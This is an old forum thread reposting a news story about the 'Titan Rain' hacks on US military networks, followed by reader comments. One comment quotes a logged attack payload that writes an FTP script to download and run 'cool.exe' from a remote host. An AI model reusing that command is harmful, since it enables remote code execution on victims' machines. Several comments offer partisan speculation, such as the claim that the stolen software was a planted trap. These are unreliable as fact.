Posted on 11/24/2005 12:30:04 PM PST by billorites
Security experts have revealed tantalising details about a group of Chinese hackers who are suspected of launching intelligence gathering attacks against the US government.
The hackers, who are believed to be based in the Chinese province of Guangdong, are thought to have stolen US military secrets, including aviation specifications and flight-planning software.
The US government has coined the term 'Titan Rain' to describe the hackers.
Alan Paller, director of the SANS Institute, said: "From the Redstone Arsenal, home to the Army Aviation and Missile Command, the attackers grabbed specs for the aviation mission-planning system for Army helicopters, as well as Falconview 3.2, the flight-planning software used by the Army and Air Force."
The team is thought to consist of 20 hackers. Paller claimed the Chinese government was the most likely recipient of the information they intercepted.
He told an event at the Department of Trade and Industry on Tuesday: "Of course it's the government. Governments will pay anything for control of other governments' computers. All governments will pay anything. It's so much better than tapping a phone."
Titan Rain first came to public attention this summer, when the Washington Post reported that websites in China were being used to target computer networks in the Defense Department and other US agencies.
Time later reported that Titan Rain had been counter-hacked by a US security expert called Shawn Carpenter.
The attacks, which are ongoing, were particularly effective on the night of 1 November, 2004, said Paller, who outlined how the hackers first scanned then broke into US government computers.
At 22:23(PST) the Titan Rain hackers exploited vulnerabilities at the US Army Information Systems Engineering Command at Fort Huachuca, Arizona. A few hours later, at 01:19(PST), they exploited the same hole in computers at the Defense Information Systems Agency in Arlington, Virginia.
By 03:25(PST) they had hit the Naval Ocean Systems Center, a Defense Department installation in San Diego, California. Then at 04:46(PST) they struck again - this time at the United States Army Space and Strategic Defense installation in Huntsville, Alabama.
The UK is also under intelligence-gathering cyber attack from the far east, according to the National Infrastructure Security Co-ordination Centre (NISCC). The government body cannot name the countries concerned as this may "ruin diplomatic efforts to halt the attacks", NISCC director Roger Cummings said on Tuesday.
Why are military computers with Top Secret material even connected to the Internet?
Look what he got us into...
And why do we treat China like our best pal all the time?
This looks like war.
Excellent question.
http://blogs.zdnet.com/Ou/?p=95
Maybe because the internet grew out of DARPA Net. What now is a neato place with commerce and forums, started as a government network. Who would have thought it? Mosaic was a cool browser.
At my company we were getting constant attacks from computers inside Chinese governmental agencies - I suppose we have lots of sensitive data that they would be interested in. Anyways, it got so annoying that eventually we just blocked all requests from that part of the world.
Its pretty scary. If you watch the ports of your computers you will find that there is steady stream of attacks. I find this to be the case even though I just use dial-up. There are people out there just scanning random computers looking for security vunerabilities. Many of these attempts seems to come from China/Hong Kong.
This is an example of the sort of attacks I get all the time:
portName[BackOrificeLogin]
Socket[addr=/###.###.###.##,port=3717,localport=31337]
data[echo open ###.###.###.## 10051>>o&echo h>>o&echo h>>o&echo get cool.exe>>o&echo bye>>o&ftp -n -s:o&cool.exe&del o&exit]
What if the good guys wanted them to steal it - Kinda like stealing the Trojan Horse rather than receiving it as a gift?
You really have to wonder whose side the media is on! Well, actually no I don't. It's clear they're not on our side.
Why is Bill CLinton even consuming O2 from within United States soil??
Look what he got us into...""
I know Clinton is not innocent on this topic, but I thought Gore was the driving force behind releasing internet wordwide and also the GPS technology.
Mailissa was specifically written as a "gift that would exercise networks". It was de-contained as a result of improper security procedures. The average user has no clue about how many little "presents" are intentionally left exposed.
Agreed. We're not as naive as many of these stories would imply.
This is hilarious. The UN is gonna freakin flip out when Falconview 3.2 cripples every Chicom network, and traces it's very existence across every network that touches it. Rich!
Do you actually believe we get the FULL story on matters like these? Unless your on the inside, you don't have clue as to what really is going on.
I am a novice on the computer compared to all of you gentlemen and ladies so, if you would, please tell me, how do you "watch the ports of your computer". Thanks!
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